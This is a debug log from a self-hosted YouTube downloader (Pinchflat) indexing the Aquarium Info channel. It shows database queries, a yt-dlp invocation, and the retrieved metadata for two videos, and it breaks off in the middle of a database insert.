{"args":{"id":32},"id":7260,"meta":{},"system_time":1780499561517431208,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:12:41.518 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1823.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.519 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1824.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:12:41.521 [debug] QUERY OK source="media_items" db=0.5ms idle=1013.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 11:12:41.521 [debug] QUERY OK source="media_items" db=0.1ms idle=11.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 11:12:41.521 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:41.521 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:12:41.522 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:12:41.523 [debug] QUERY OK source="media_items" db=0.8ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [32] 11:12:41.525 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:12:41.525 [debug] Current batch of media processed. Will check again in 1000ms 11:12:41.525 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:12:41.525 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:12:41.525 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:12:41.525 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@aquariuminfo --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Aquarium Info/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/5b/92/5b9270fb9a95876a88090ec21461bcc3cd7f51b2f0af8b2056b06b545888fbb7.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a1/40/a1403e83c8140ed33f5ff46ef644c017e829b8187d3b64df07f7966eed96588e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:12:42.525 [debug] Current batch of media processed. Will check again in 1000ms 11:12:43.526 [debug] Current batch of media processed. Will check again in 1000ms 11:12:44.527 [debug] Current batch of media processed. Will check again in 1000ms 11:12:45.528 [debug] Current batch of media processed. Will check again in 1000ms 11:12:46.530 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1027, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", "id" => "vw_KuLVHKP8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vw_KuLVHKP8", "playlist_index" => 1, "timestamp" => 1780149805, "title" => "I Hatched Pet Dinosaurs (300 Million Years Old)", "upload_date" => "20260530"} 11:12:46.531 [debug] QUERY OK source="sources" db=0.5ms idle=1835.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:46.533 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1836.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:46.534 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1837.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 14:03:25Z], 32] 11:12:46.536 [debug] QUERY OK source="media_items" db=1.4ms idle=1016.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "a3692688-af3a-436e-b111-1db65417eef8", "vw_KuLVHKP8", false, "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, [], 1027, false, 1, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, false, 98, ~U[2026-05-30 14:03:25Z], ~U[2026-06-03 15:12:46Z], ~U[2026-06-03 15:12:46Z], "I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "vw_KuLVHKP8", "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, 1027, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, ~U[2026-05-30 14:03:25Z]] 11:12:46.537 [debug] QUERY OK source="sources" db=0.2ms idle=15.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:46.537 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:46.538 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140290] 11:12:46.538 [debug] Current batch of media processed. Will check again in 1000ms 11:12:47.538 [debug] Current batch of media processed. Will check again in 1000ms 11:12:48.540 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 955, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", "id" => "HH2gKrl22Fw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HH2gKrl22Fw", "playlist_index" => 2, "timestamp" => 1776520980, "title" => "I Turned my Bed into a Fish Tank!", "upload_date" => "20260418"} 11:12:48.542 [debug] QUERY OK source="sources" db=0.6ms idle=845.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:48.542 [debug] QUERY OK source="sources" db=0.1ms idle=847.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:48.543 [debug] QUERY OK source="media_items" db=0.3ms idle=847.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-18 14:03:00Z], 32] 11:12:48.545 [debug] QUERY OK source="media_items" db=1.3ms idle=847.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram 